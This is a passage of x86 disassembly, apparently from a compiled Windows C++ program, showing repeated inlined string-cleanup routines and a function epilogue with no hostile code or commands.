jb 0x42deb9
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42deaf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x3c
mov ecx, dword [ebp - 0x1d4]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
cmp ecx, 0x10
jb 0x42df12
mov edx, dword [ebp - 0x1e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42df08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x71c]
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 0x1d4], 0xf
mov byte [ebp - 0x1e8], 0
cmp ecx, 0x10
jb 0x42df6b
mov edx, dword [ebp - 0x730]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42df61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x38]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x24]
imul ecx
inc edi
mov dword [ebp - 0x720], 0
sar edx, 2
mov eax, edx
mov dword [ebp - 0x71c], 0xf
shr eax, 0x1f
add eax, edx
mov byte [ebp - 0x730], 0
mov dword [ebp - 0x24], edi
cmp edi, eax
jb 0x42b350
mov ecx, dword [ebp - 0x3ac]
cmp ecx, 0x10
jb 0x42dfe6
mov edx, dword [ebp - 0x3c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42dfdc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x734]
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x3ac], 0xf
mov byte [ebp - 0x3c0], 0
cmp ecx, 0x10
jb 0x42e03b
mov edx, dword [ebp - 0x748]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e031
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x738], 0
mov dword [ebp - 0x734], 0xf
mov byte [ebp - 0x748], 0
call fcn.0048eeb0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x42e092
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e088
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebx + 0x20]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
cmp ecx, 0x10
jb 0x42e0d8
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e0ce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebx + 0x38]
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0xf
mov byte [ebx + 0xc], 0
cmp ecx, 0x10
jb 0x42e11e
mov edx, dword [ebx + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e114
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebx + 0x50]
mov dword [ebx + 0x34], 0
mov dword [ebx + 0x38], 0xf
mov byte [ebx + 0x24], 0
cmp ecx, 0x10
jb 0x42e164
mov edx, dword [ebx + 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e15a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebx + 0x68]
mov dword [ebx + 0x4c], 0
mov dword [ebx + 0x50], 0xf
mov byte [ebx + 0x3c], 0
cmp ecx, 0x10
jb 0x42e1a6
mov edx, dword [ebx + 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e19c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0050a1d0
call fcn.004024b0
int3